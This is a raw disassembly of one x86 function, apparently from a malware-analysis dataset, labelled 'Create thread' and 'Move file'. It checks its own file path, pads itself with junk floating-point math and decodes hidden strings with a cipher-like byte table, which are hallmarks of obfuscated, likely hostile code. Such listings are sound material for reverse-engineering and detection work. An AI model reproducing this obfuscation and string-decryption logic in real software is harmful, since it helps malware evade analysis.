Function at 0x982dc9
Capabilities:
Create thread
Move file

Disassembly:
mov ch, 0xc
sbb edi, edi
dec dword [edi]
mov dh, 0x14
xor al, byte [ebx]
retf 0xe181
push ebp
mov ebp, esp
sub esp, 0x9dc
mov eax, dword [0xa05274]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x96c], 0
push 0x208
push 0
lea eax, [ebp - 0x734]
push eax
call fcn.009c3d60
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x734]
push ecx
push 0
call dword [0xa13810]
test eax, eax
je 0x987831
push 0x208
push 0
lea edx, [ebp - 0x52c]
push edx
call fcn.009c3d60
add esp, 0xc
lea eax, [ebp - 0x734]
mov dword [ebp - 0x948], eax
lea ecx, [ebp - 0x52c]
mov dword [ebp - 0x90c], ecx
mov edx, dword [ebp - 0x90c]
mov dword [ebp - 0x9dc], edx
mov eax, dword [ebp - 0x948]
mov cx, word [eax]
mov word [ebp - 0x8de], cx
mov edx, dword [ebp - 0x90c]
mov ax, word [ebp - 0x8de]
mov word [edx], ax
mov ecx, dword [ebp - 0x948]
add ecx, 2
mov dword [ebp - 0x948], ecx
mov edx, dword [ebp - 0x90c]
add edx, 2
mov dword [ebp - 0x90c], edx
cmp word [ebp - 0x8de], 0
jne 0x982b1c
push 0x2e
lea eax, [ebp - 0x52c]
push eax
call fcn.009c3ff8
add esp, 8
mov dword [ebp - 0x930], eax
mov ecx, 2
shl ecx, 1
mov edx, dword [ebp - 0x930]
movzx eax, word [edx + ecx]
cmp eax, 0x78
jne 0x982bac
mov ecx, 2
imul edx, ecx, 3
mov eax, dword [ebp - 0x930]
movzx ecx, word [eax + edx]
cmp ecx, 0x65
je 0x9845d7
xorps xmm0, xmm0
movsd qword [ebp - 0x8f8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x8b8], xmm0
mov dword [ebp - 0x758], 0
mov dword [ebp - 0x874], 0
mov dword [ebp - 0x910], 0
mov dword [ebp - 0x8e4], 1
mov dword [ebp - 0x814], 0
mov dword [ebp - 0x940], 0
mov dword [ebp - 0x800], 0
mov dword [ebp - 0x808], 0
mov dword [ebp - 0x7f0], 0
mov dword [ebp - 0x7f4], 0
mov dword [ebp - 0x80c], 0
mov dword [ebp - 0x7d4], 0
mov dword [ebp - 0x7d8], 0
mov dword [ebp - 0x7e8], 0
mov dword [ebp - 0x7dc], 0
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x7f8], 0
mov dword [ebp - 0x7fc], 0
mov dword [ebp - 0x9cc], 0
mov byte [ebp - 0x736], 0
mov byte [ebp - 0x739], 0
mov byte [ebp - 0x745], 0
mov byte [ebp - 0x73a], 0
mov byte [ebp - 0x73d], 0
mov byte [ebp - 0x747], 0
mov byte [ebp - 0x797], 0
mov byte [ebp - 0x746], 0
mov byte [ebp - 0x744], 0
mov byte [ebp - 0x761], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x8f8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x8b8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x8b8], xmm0
jmp 0x982d01
movsd xmm0, qword [ebp - 0x8b8]
addsd xmm0, qword [0x9e5050]
movsd qword [ebp - 0x8b8], xmm0
movsd xmm0, qword [0x9fa238]
comisd xmm0, xmmword [ebp - 0x8b8]
jbe 0x982db2
movsd xmm0, qword [0x9fa0d8]
mulsd xmm0, qword [ebp - 0x8b8]
mulsd xmm0, qword [ebp - 0x8b8]
movsd xmm1, qword [ebp - 0x8b8]
mulsd xmm1, qword [ebp - 0x8b8]
subsd xmm0, xmm1
movsd xmm1, qword [0x9e50b0]
mulsd xmm1, qword [ebp - 0x8b8]
mulsd xmm1, qword [ebp - 0x8b8]
addsd xmm1, qword [0x9e8d48]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x8f8]
movsd qword [ebp - 0x8f8], xmm0
movsd xmm0, qword [ebp - 0x8f8]
comisd xmm0, xmmword [0x9fa090]
jbe 0x982dad
movsd xmm0, qword [0x9fa038]
mulsd xmm0, qword [ebp - 0x8b8]
movsd xmm1, qword [ebp - 0x8f8]
subsd xmm1, xmm0
movsd qword [ebp - 0x8f8], xmm1
jmp 0x982ce9
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x8f8]
jbe 0x982de5
xchg edi, eax
fst qword [ebx - 0x6f1b621d]
ficomp word [ebx + 0x727554db]
inc edi
pop edx
push 0x2e
jnp 0x982e05
xor esi, dword [edi + 0x3e]
and ecx, dword [ecx + 0x44]
push 0x5d
jae 0x982e56
pop eax
inc ecx
and eax, 0x16aee938
add byte [eax], al
mov dword [ebp - 0x9c0], 0x982dbf
mov dword [ebp - 0x9b0], 0x982dc9
mov edx, dword [ebp - 0x9c0]
mov dword [ebp - 0x81c], edx
mov eax, dword [ebp - 0x9b0]
mov dword [ebp - 0x9c8], eax
mov byte [ebp - 0x797], 0x1b
mov dword [ebp - 0x758], 0
mov dword [ebp - 0x874], 0
mov dword [ebp - 0x758], 0
jmp 0x982e47
mov ecx, dword [ebp - 0x758]
add ecx, 1
mov dword [ebp - 0x758], ecx
cmp dword [ebp - 0x758], 0x100
jae 0x982e68
mov edx, dword [ebp - 0x758]
mov al, byte [ebp - 0x758]
mov byte [ebp + edx - 0x224], al
jmp 0x982e38
clc
invalid
mov dword [ebp - 0x874], 0
mov byte [ebp - 0x747], 0
mov dword [ebp - 0x758], 0xff
jmp 0x982e94
mov ecx, dword [ebp - 0x758]
sub ecx, 1
mov dword [ebp - 0x758], ecx
cmp dword [ebp - 0x758], 0
jbe 0x98310e
mov dword [ebp - 0x910], 0
mov dword [ebp - 0x8e4], 1
mov dword [ebp - 0x814], 0
mov edx, dword [ebp - 0x8e4]
cmp edx, dword [ebp - 0x758]
jae 0x982edf
mov eax, dword [ebp - 0x8e4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x8e4], ecx
jmp 0x982ebf
mov edx, dword [ebp - 0x874]
mov dword [ebp - 0x978], edx
cmp dword [ebp - 0x978], 3
ja case.default.0x982efe
mov eax, dword [ebp - 0x978]
jmp dword [eax*4 + 0x987848]
movzx ecx, byte [ebp - 0x747]
movzx ebx, byte [ebp + ecx - 0x224]
movsd xmm0, qword [ebp - 0x8f8]
call fcn.009c2ce0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x747], bl
jmp 0x982fe7
movzx edx, byte [ebp - 0x747]
movzx ebx, byte [ebp + edx - 0x224]
movsd xmm0, qword [ebp - 0x8f8]
call fcn.009c2ce0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x747], bl
jmp 0x982fe7
movzx eax, byte [ebp - 0x747]
movzx ebx, byte [ebp + eax - 0x224]
movsd xmm0, qword [ebp - 0x8f8]
call fcn.009c2ce0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x747], bl
jmp 0x982fe7
movzx ecx, byte [ebp - 0x747]
movzx ebx, byte [ebp + ecx - 0x224]
movsd xmm0, qword [ebp - 0x8f8]
call fcn.009c2ce0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x747], bl
jmp 0x982fe7
movzx edx, byte [ebp - 0x747]
movzx eax, byte [ebp + edx - 0x224]
mov ecx, dword [ebp - 0x9c8]
add ecx, dword [ebp - 0x874]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x747], al
mov eax, dword [ebp - 0x874]
add eax, 1
mov dword [ebp - 0x874], eax
movzx ecx, byte [ebp - 0x797]
cmp dword [ebp - 0x874], ecx
jb 0x983025
mov dword [ebp - 0x874], 0
movzx edx, byte [ebp - 0x797]
movzx eax, byte [ebp - 0x747]
add eax, edx
mov byte [ebp - 0x747], al
movzx ecx, byte [ebp - 0x747]
and ecx, dword [ebp - 0x8e4]
mov dword [ebp - 0x814], ecx
mov edx, dword [ebp - 0x910]
add edx, 1
mov dword [ebp - 0x910], edx
cmp dword [ebp - 0x910], 0xb
jbe 0x983064
mov eax, dword [ebp - 0x814]
xor edx, edx
div dword [ebp - 0x758]
mov dword [ebp - 0x814], edx
mov eax, dword [ebp - 0x814]
cmp eax, dword [ebp - 0x758]
ja 0x982edf
mov ecx, dword [ebp - 0x758]
cmp ecx, dword [ebp - 0x814]
je 0x983109
mov edx, dword [ebp - 0x814]
movzx eax, byte [ebp + edx - 0x224]
mov ecx, dword [ebp - 0x758]
movzx edx, byte [ebp + ecx - 0x224]
xor edx, eax
mov eax, dword [ebp - 0x758]
mov byte [ebp + eax - 0x224], dl
mov ecx, dword [ebp - 0x758]
movzx edx, byte [ebp + ecx - 0x224]
mov eax, dword [ebp - 0x814]
movzx ecx, byte [ebp + eax - 0x224]
xor ecx, edx
mov edx, dword [ebp - 0x814]
mov byte [ebp + edx - 0x224], cl
mov eax, dword [ebp - 0x814]
movzx ecx, byte [ebp + eax - 0x224]
mov edx, dword [ebp - 0x758]
movzx eax, byte [ebp + edx - 0x224]
xor eax, ecx
mov ecx, dword [ebp - 0x758]
mov byte [ebp + ecx - 0x224], al
jmp 0x982e85
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x224]
mov byte [ebp - 0x736], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x224]
mov byte [ebp - 0x739], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x224]
mov byte [ebp - 0x745], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x224]
mov byte [ebp - 0x73a], al
movzx ecx, byte [ebp - 0x747]
mov dl, byte [ebp + ecx - 0x224]
mov byte [ebp - 0x73d], dl
mov dword [ebp - 0x940], 0xa
cmp dword [ebp - 0x940], 2
jle 0x984442
mov eax, dword [ebp - 0x940]
and eax, 1
jne 0x984442
mov dword [ebp - 0x758], 0
mov dword [ebp - 0x800], 0
mov ecx, dword [ebp - 0x800]
add ecx, 1
mov dword [ebp - 0x800], ecx
mov dword [ebp - 0x808], 0
mov edx, dword [ebp - 0x758]
shl edx, 1
mov dword [ebp - 0x808], edx
mov dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x81c]
add eax, dword [ebp - 0x808]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x7f0]
mov dword [ebp - 0x7f0], ecx
mov dword [ebp - 0x7f4], 0
mov edx, dword [ebp - 0x7f4]
add edx, 0x8e
mov dword [ebp - 0x7f4], edx
mov dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x758]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x80c], ecx
mov dword [ebp - 0x7d4], 0
mov edx, dword [ebp - 0x81c]
add edx, dword [ebp - 0x80c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x7d4], eax
mov dword [ebp - 0x7d8], 0
mov ecx, dword [ebp - 0x7d8]
add ecx, 0xd5
mov dword [ebp - 0x7d8], ecx
mov dword [ebp - 0x7e8], 0
mov edx, dword [ebp - 0x7f0]
sub edx, dword [ebp - 0x7f4]
add edx, dword [ebp - 0x7e8]
mov dword [ebp - 0x7e8], edx
mov dword [ebp - 0x7dc], 0
mov eax, dword [ebp - 0x7d4]
sub eax, dword [ebp - 0x7d8]
add eax, dword [ebp - 0x7dc]
mov dword [ebp - 0x7dc], eax
mov dword [ebp - 0x810], 0
mov ecx, dword [ebp - 0x7e8]
shl ecx, 4
mov dword [ebp - 0x810], ecx
mov dword [ebp - 0x7f8], 0
mov edx, dword [ebp - 0x7dc]
mov dword [ebp - 0x7f8], edx
mov dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x810]
or eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x7fc], eax
mov byte [ebp - 0x746], 0
mov cl, byte [ebp - 0x7fc]
mov byte [ebp - 0x746], cl
mov byte [ebp - 0x744], 0
movzx edx, byte [ebp - 0x73d]
mov al, byte [ebp + edx - 0x224]
mov byte [ebp - 0x744], al
movzx ecx, byte [ebp - 0x736]
movzx edx, byte [ebp + ecx - 0x224]
movzx eax, byte [ebp - 0x739]
add eax, edx
mov byte [ebp - 0x739], al
mov cl, byte [ebp - 0x736]
add cl, 1
mov byte [ebp - 0x736], cl
movzx edx, byte [ebp - 0x739]
movzx eax, byte [ebp - 0x73d]
mov cl, byte [ebp + edx - 0x224]
mov byte [ebp + eax - 0x224], cl
movzx edx, byte [ebp - 0x73a]
movzx eax, byte [ebp - 0x739]
mov cl, byte [ebp + edx - 0x224]
mov byte [ebp + eax - 0x224], cl
movzx edx, byte [ebp - 0x736]
movzx eax, byte [ebp - 0x73a]
mov cl, byte [ebp + edx - 0x224]
mov byte [ebp + eax - 0x224], cl
movzx edx, byte [ebp - 0x736]
mov al, byte [ebp - 0x744]
mov byte [ebp + edx - 0x224], al
movzx ecx, byte [ebp - 0x744]
movzx edx, byte [ebp + ecx - 0x224]
movzx eax, byte [ebp - 0x745]
add eax, edx
mov byte [ebp - 0x745], al
movzx ecx, byte [ebp - 0x746]
movzx edx, byte [ebp - 0x739]
movzx eax, byte [ebp + edx - 0x224]
movzx edx, byte [ebp - 0x736]
movzx edx, byte [ebp + edx - 0x224]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x224]
xor ecx, eax
movzx edx, byte [ebp - 0x73a]
movzx eax, byte [ebp + edx - 0x224]
movzx edx, byte [ebp - 0x73d]
movzx edx, byte [ebp + edx - 0x224]
add eax, edx
movzx edx, byte [ebp - 0x745]
movzx edx, byte [ebp + edx - 0x224]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x224]
movzx edx, byte [ebp + eax - 0x224]
xor ecx, edx
mov byte [ebp - 0x73a], cl
mov al, byte [ebp - 0x746]
mov byte [ebp - 0x73d], al
mov cl, byte [ebp - 0x73a]
mov byte [ebp - 0x761], cl
cmp dword [ebp - 0x758], 0
jbe 0x98349b
movsx dx, byte [ebp - 0x761]
mov eax, dword [ebp - 0x758]
mov word [ebp + eax*2 - 0x1a], dx
mov ecx, dword [ebp - 0x758]
add ecx, 1
mov dword [ebp - 0x758], ecx
mov edx, dword [ebp - 0x800]
add edx, 1
mov dword [ebp - 0x800], edx
mov eax, dword [ebp - 0x758]
shl eax, 1
mov dword [ebp - 0x808], eax
mov ecx, dword [ebp - 0x81c]
add ecx, dword [ebp - 0x808]
movzx edx, byte [ecx]
mov dword [ebp - 0x7f0], edx
mov dword [ebp - 0x7f4], 0x8e
mov eax, dword [ebp - 0x758]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x80c], ecx
mov edx, dword [ebp - 0x81c]
add edx, dword [ebp - 0x80c]
movzx eax, byte [edx]
mov dword [ebp - 0x7d4], eax
mov dword [ebp - 0x7d8], 0xd5
mov ecx, dword [ebp - 0x7f0]
sub ecx, dword [ebp - 0x7f4]
mov dword [ebp - 0x7e8], ecx
mov edx, dword [ebp - 0x7d4]
sub edx, dword [ebp - 0x7d8]
mov dword [ebp - 0x7dc], edx
mov eax, dword [ebp - 0x7e8]
shl eax, 4
mov dword [ebp - 0x810], eax
mov ecx, dword [ebp - 0x7dc]
mov dword [ebp - 0x7f8], ecx
mov edx, dword [ebp - 0x810]
or edx, dword [ebp - 0x7f8]
mov dword [ebp - 0x7fc], edx
mov al, byte [ebp - 0x7fc]
mov byte [ebp - 0x746], al
movzx ecx, byte [ebp - 0x73d]
mov dl, byte [ebp + ecx - 0x224]
mov byte [ebp - 0x744], dl
movzx eax, byte [ebp - 0x736]
movzx ecx, byte [ebp + eax - 0x224]
movzx edx, byte [ebp - 0x739]
add edx, ecx
mov byte [ebp - 0x739], dl
mov al, byte [ebp - 0x736]
add al, 1
mov byte [ebp - 0x736], al
movzx ecx, byte [ebp - 0x739]
movzx edx, byte [ebp - 0x73d]
mov al, byte [ebp + ecx - 0x224]
mov byte [ebp + edx - 0x224], al
movzx ecx, byte [ebp - 0x73a]
movzx edx, byte [ebp - 0x739]
mov al, byte [ebp + ecx - 0x224]
mov byte [ebp + edx - 0x224], al
movzx ecx, byte [ebp - 0x736]
movzx edx, byte [ebp - 0x73a]
mov al, byte [ebp + ecx - 0x224]
mov byte [ebp + edx - 0x224], al
movzx ecx, byte [ebp - 0x736]
mov dl, byte [ebp - 0x744]
mov byte [ebp + ecx - 0x224], dl
movzx eax, byte [ebp - 0x744]
movzx ecx, byte [ebp + eax - 0x224]
movzx edx, byte [ebp - 0x745]
add edx, ecx
mov byte [ebp - 0x745], dl
movzx eax, byte [ebp - 0x746]
movzx ecx, byte [ebp - 0x739]
movzx edx, byte [ebp + ecx - 0x224]
movzx ecx, byte [ebp - 0x736]
movzx ecx, byte [ebp + ecx - 0x224]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x224]
xor eax, edx
movzx ecx, byte [ebp - 0x73a]
movzx edx, byte [ebp + ecx - 0x224]
movzx ecx, byte [ebp - 0x73d]
movzx ecx, byte [ebp + ecx - 0x224]
add edx, ecx
movzx ecx, byte [ebp - 0x745]
movzx ecx, byte [ebp + ecx - 0x224]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x224]
movzx ecx, byte [ebp + edx - 0x224]
xor eax, ecx
mov byte [ebp - 0x73a], al
mov dl, byte [ebp - 0x746]
mov byte [ebp - 0x73d], dl
mov al, byte [ebp - 0x73a]
mov byte [ebp - 0x761], al
cmp dword [ebp - 0x758], 0
jbe 0x9836f2
movsx cx, byte [ebp - 0x761]
mov edx, dword [ebp - 0x758]
mov word [ebp + edx*2 - 0x1a], cx
mov eax, dword [ebp - 0x758]
add eax, 1
mov dword [ebp - 0x758], eax
mov ecx, dword [ebp - 0x800]
add ecx, 1
mov dword [ebp - 0x800], ecx
mov edx, dword [ebp - 0x758]
shl edx, 1
mov dword [ebp - 0x808], edx
mov eax, dword [ebp - 0x81c]
add eax, dword [ebp - 0x808]
movzx ecx, byte [eax]
mov dword [ebp - 0x7f0], ecx
mov dword [ebp - 0x7f4], 0x8e
mov edx, dword [ebp - 0x758]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x80c], eax
mov ecx, dword [ebp - 0x81c]
add ecx, dword [ebp - 0x80c]
movzx edx, byte [ecx]
mov dword [ebp - 0x7d4], edx
mov dword [ebp - 0x7d8], 0xd5
mov eax, dword [ebp - 0x7f0]
sub eax, dword [ebp - 0x7f4]
mov dword [ebp - 0x7e8], eax
mov ecx, dword [ebp - 0x7d4]
sub ecx, dword [ebp - 0x7d8]
mov dword [ebp - 0x7dc], ecx
mov edx, dword [ebp - 0x7e8]
shl edx, 4
mov dword [ebp - 0x810], edx
mov eax, dword [ebp - 0x7dc]
mov dword [ebp - 0x7f8], eax
mov ecx, dword [ebp - 0x810]
or ecx, dword [ebp - 0x7f8]
mov dword [ebp - 0x7fc], ecx
mov dl, byte [ebp - 0x7fc]
mov byte [ebp - 0x746], dl
movzx eax, byte [ebp - 0x73d]
mov cl, byte [ebp + eax - 0x224]
mov byte [ebp - 0x744], cl
movzx edx, byte [ebp - 0x736]
movzx eax, byte [ebp + edx - 0x224]
movzx ecx, byte [ebp - 0x739]
add ecx, eax
mov byte [ebp - 0x739], cl
mov dl, byte [ebp - 0x736]
add dl, 1
mov byte [ebp - 0x736], dl
movzx eax, byte [ebp - 0x739]
movzx ecx, byte [ebp - 0x73d]
mov dl, byte [ebp + eax - 0x224]
mov byte [ebp + ecx - 0x224], dl
movzx eax, byte [ebp - 0x73a]
movzx ecx, byte [ebp - 0x739]
mov dl, byte [ebp + eax - 0x224]
mov byte [ebp + ecx - 0x224], dl
movzx eax, byte [ebp - 0x736]
movzx ecx, byte [ebp - 0x73a]
mov dl, byte [ebp + eax - 0x224]
mov byte [ebp + ecx - 0x224], dl
movzx eax, byte [ebp - 0x736]
mov cl, byte [ebp - 0x744]
mov byte [ebp + eax - 0x224], cl
movzx edx, byte [ebp - 0x744]
movzx eax, byte [ebp + edx - 0x224]
movzx ecx, byte [ebp - 0x745]
add ecx, eax
mov byte [ebp - 0x745], cl
movzx edx, byte [ebp - 0x746]
movzx eax, byte [ebp - 0x739]
movzx ecx, byte [ebp + eax - 0x224]
movzx eax, byte [ebp - 0x736]
movzx eax, byte [ebp + eax - 0x224]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x224]
xor edx, ecx
movzx eax, byte [ebp - 0x73a]
movzx ecx, byte [ebp + eax - 0x224]
movzx eax, byte [ebp - 0x73d]
movzx eax, byte [ebp + eax - 0x224]
add ecx, eax
movzx eax, byte [ebp - 0x745]
movzx eax, byte [ebp + eax - 0x224]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x224]
movzx eax, byte [ebp + ecx - 0x224]
xor edx, eax
mov byte [ebp - 0x73a], dl
mov cl, byte [ebp - 0x746]
mov byte [ebp - 0x73d], cl
mov dl, byte [ebp - 0x73a]
mov byte [ebp - 0x761], dl
cmp dword [ebp - 0x758], 0
jbe 0x98394a
movsx ax, byte [ebp - 0x761]
mov ecx, dword [ebp - 0x758]
mov word [ebp + ecx*2 - 0x1a], ax
mov edx, dword [ebp - 0x758]
add edx, 1
mov dword [ebp - 0x758], edx
movss xmm0, dword [0x9fa2d0]
movss dword [ebp - 0x790], xmm0
movss xmm0, dword [0x9f8be4]
movss dword [ebp - 0x79c], xmm0
movss xmm0, dword [0x9f880c]
movss dword [ebp - 0x768], xmm0
movss xmm0, dword [0x9fa284]
movss dword [ebp - 0x780], xmm0
movss xmm0, dword [0x9fa26c]
movss dword [ebp - 0x784], xmm0
movss xmm0, dword [0x9fa244]
movss dword [ebp - 0x77c], xmm0
movss xmm0, dword [ebp - 0x768]
addss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x768], xmm0
movss xmm0, dword [ebp - 0x780]
subss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x780], xmm0
movss xmm0, dword [ebp - 0x768]
mulss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x768], xmm0
movss xmm0, dword [ebp - 0x780]
addss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x780], xmm0
movss xmm0, dword [ebp - 0x768]
mulss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x768], xmm0
movss xmm0, dword [ebp - 0x79c]
mulss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x79c], xmm0
movss xmm0, dword [ebp - 0x77c]
comiss xmm0, dword [ebp - 0x768]
jbe 0x983cbd
movss xmm0, dword [ebp - 0x79c]
divss xmm0, dword [ebp - 0x768]
movss dword [ebp - 0x79c], xmm0
movss xmm0, dword [ebp - 0x780]
subss xmm0, dword [ebp - 0x784]
movss dword [ebp - 0x780], xmm0
movss xmm0, dword [ebp - 0x79c]
mulss xmm0, dword [ebp - 0x768]
movss dword [ebp - 0x79c], xmm0
movss xmm0, dword [ebp - 0x780]
mulss xmm0, dword [ebp - 0x784]
movss dword [ebp - 0x780], xmm0
movss xmm0, dword [ebp - 0x768]
subss xmm0, dword [ebp - 0x780]
movss dword [ebp - 0x768], xmm0
movss xmm0, dword [ebp - 0x790]
divss xmm0, dword [ebp - 0x79c]
movss dword [ebp - 0x790], xmm0
movss xmm0, dword [ebp - 0x768]
mulss xmm0, dword [ebp - 0x784]
movss dword [ebp - 0x768], xmm0
movss xmm0, dword [ebp - 0x790]
divss xmm0, dword [ebp - 0x768]
movss dword [ebp - 0x790], xmm0
movss xmm0, dword [ebp - 0x780]
addss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x780], xmm0
movss xmm0, dword [ebp - 0x768]
subss xmm0, dword [ebp - 0x784]
movss dword [ebp - 0x768], xmm0
movss xmm0, dword [ebp - 0x790]
mulss xmm0, dword [ebp - 0x768]
movss dword [ebp - 0x790], xmm0
movss xmm0, dword [ebp - 0x784]
mulss xmm0, dword [ebp - 0x790]
movss dword [ebp - 0x784], xmm0
movss xmm0, dword [ebp - 0x790]
comiss xmm0, dword [ebp - 0x784]
jbe 0x983c28
movss xmm0, dword [ebp - 0x77c]
divss xmm0, dword [ebp - 0x790]
movss dword [ebp - 0x77c], xmm0
movss xmm0, dword [ebp - 0x768]
subss xmm0, dword [ebp - 0x780]
movss dword [ebp - 0x768], xmm0
movss xmm0, dword [ebp - 0x79c]
divss xmm0, dword [ebp - 0x768]
movss dword [ebp - 0x79c], xmm0
movss xmm0, dword [ebp - 0x784]
mulss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x784], xmm0
movss xmm0, dword [ebp - 0x784]
addss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x784], xmm0
movss xmm0, dword [ebp - 0x768]
subss xmm0, dword [ebp - 0x780]
movss dword [ebp - 0x768], xmm0
jmp 0x983cb8
movss xmm0, dword [ebp - 0x784]
mulss xmm0, dword [ebp - 0x790]
movss dword [ebp - 0x784], xmm0
movss xmm0, dword [ebp - 0x77c]
divss xmm0, dword [ebp - 0x79c]
movss dword [ebp - 0x77c], xmm0
movss xmm0, dword [ebp - 0x780]
divss xmm0, dword [ebp - 0x77c]
movss dword [ebp - 0x780], xmm0
movss xmm0, dword [ebp - 0x784]
subss xmm0, dword [ebp - 0x790]
movss dword [ebp - 0x784], xmm0
movss xmm0, dword [ebp - 0x784]
subss xmm0, dword [ebp - 0x790]
movss dword [ebp - 0x784], xmm0
movss xmm0, dword [ebp - 0x79c]
divss xmm0, dword [ebp - 0x780]
movss dword [ebp - 0x79c], xmm0
jmp 0x983d5c
movss xmm0, dword [ebp - 0x77c]
mulss xmm0, dword [ebp - 0x790]
movss dword [ebp - 0x77c], xmm0
mov eax, dword [ebp - 0x800]
add eax, 1
mov dword [ebp - 0x800], eax
movss xmm0, dword [ebp - 0x77c]
mulss xmm0, dword [ebp - 0x790]
movss dword [ebp - 0x77c], xmm0
movss xmm0, dword [ebp - 0x790]
addss xmm0, dword [ebp - 0x79c]
movss dword [ebp - 0x790], xmm0
movss xmm0, dword [ebp - 0x768]
mulss xmm0, dword [ebp - 0x780]
movss dword [ebp - 0x768], xmm0
movss xmm0, dword [ebp - 0x780]
mulss xmm0, dword [ebp - 0x784]
movss dword [ebp - 0x780], xmm0
movss xmm0, dword [ebp - 0x79c]
subss xmm0, dword [ebp - 0x768]
movss dword [ebp - 0x79c], xmm0
mov ecx, dword [ebp - 0x758]
shl ecx, 1
mov dword [ebp - 0x808], ecx
mov edx, dword [ebp - 0x81c]
add edx, dword [ebp - 0x808]
movzx eax, byte [edx]
mov dword [ebp - 0x7f0], eax
mov dword [ebp - 0x7f4], 0x8e
mov ecx, dword [ebp - 0x758]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x80c], edx
movss xmm0, dword [0x9fa300]
movss dword [ebp - 0x854], xmm0
movss xmm0, dword [0x9fa2e8]
movss dword [ebp - 0x884], xmm0
movss xmm0, dword [0x9f8d18]
movss dword [ebp - 0x804], xmm0
movss xmm0, dword [0x9fa29c]
movss dword [ebp - 0x7ec], xmm0
movss xmm0, dword [0x9fa278]
movss dword [ebp - 0x8a0], xmm0
movss xmm0, dword [0x9fa250]
movss dword [ebp - 0x818], xmm0
movss xmm0, dword [ebp - 0x7ec]
addss xmm0, dword [ebp - 0x818]
movss dword [ebp - 0x7ec], xmm0
movss xmm0, dword [ebp - 0x7ec]
addss xmm0, dword [ebp - 0x818]
movss dword [ebp - 0x7ec], xmm0
movss xmm0, dword [ebp - 0x804]
mulss xmm0, dword [ebp - 0x818]
movss dword [ebp - 0x804], xmm0
movss xmm0, dword [ebp - 0x804]
addss xmm0, dword [ebp - 0x818]
movss dword [ebp - 0x804], xmm0
movss xmm0, dword [ebp - 0x8a0]
addss xmm0, dword [ebp - 0x818]
movss dword [ebp - 0x8a0], xmm0
movss xmm0, dword [ebp - 0x7ec]
subss xmm0, dword [ebp - 0x818]
movss dword [ebp - 0x7ec], xmm0
movss xmm0, dword [ebp - 0x818]
comiss xmm0, dword [ebp - 0x804]
jbe 0x983f33
movss xmm0, dword [ebp - 0x884]
subss xmm0, dword [ebp - 0x804]
movss dword [ebp - 0x884], xmm0
movss xmm0, dword [ebp - 0x804]
mulss xmm0, dword [ebp - 0x7ec]
movss dword [ebp - 0x804], xmm0
movss xmm0, dword [ebp - 0x884]
addss xmm0, dword [ebp - 0x804]
movss dword [ebp - 0x884], xmm0
movss xmm0, dword [ebp - 0x854]
divss xmm0, dword [ebp - 0x884]
movss dword [ebp - 0x854], xmm0
movss xmm0, dword [ebp - 0x854]
addss xmm0, dword [ebp - 0x884]
movss dword [ebp - 0x854], xmm0
movss xmm0, dword [ebp - 0x7ec]
mulss xmm0, dword [ebp - 0x8a0]
movss dword [ebp - 0x7ec], xmm0
jmp 0x983fd8
movss xmm0, dword [ebp - 0x854]
addss xmm0, dword [ebp - 0x884]
movss dword [ebp - 0x854], xmm0
movss xmm0, dword [ebp - 0x804]
addss xmm0, dword [ebp - 0x7ec]
movss dword [ebp - 0x804], xmm0
mov eax, dword [ebp - 0x81c]
add eax, dword [ebp - 0x80c]
movzx ecx, byte [eax]
mov dword [ebp - 0x7d4], ecx
movss xmm0, dword [ebp - 0x818]
mulss xmm0, dword [ebp - 0x854]
movss dword [ebp - 0x818], xmm0
movss xmm0, dword [ebp - 0x854]
addss xmm0, dword [ebp - 0x884]
movss dword [ebp - 0x854], xmm0
movss xmm0, dword [ebp - 0x7ec]
addss xmm0, dword [ebp - 0x8a0]
movss dword [ebp - 0x7ec], xmm0
movss xmm0, dword [ebp - 0x8a0]
subss xmm0, dword [ebp - 0x818]
movss dword [ebp - 0x8a0], xmm0
mov dword [ebp - 0x7d8], 0xd5
mov edx, dword [ebp - 0x7f0]
sub edx, dword [ebp - 0x7f4]
mov dword [ebp - 0x7e8], edx
mov eax, dword [ebp - 0x7d4]
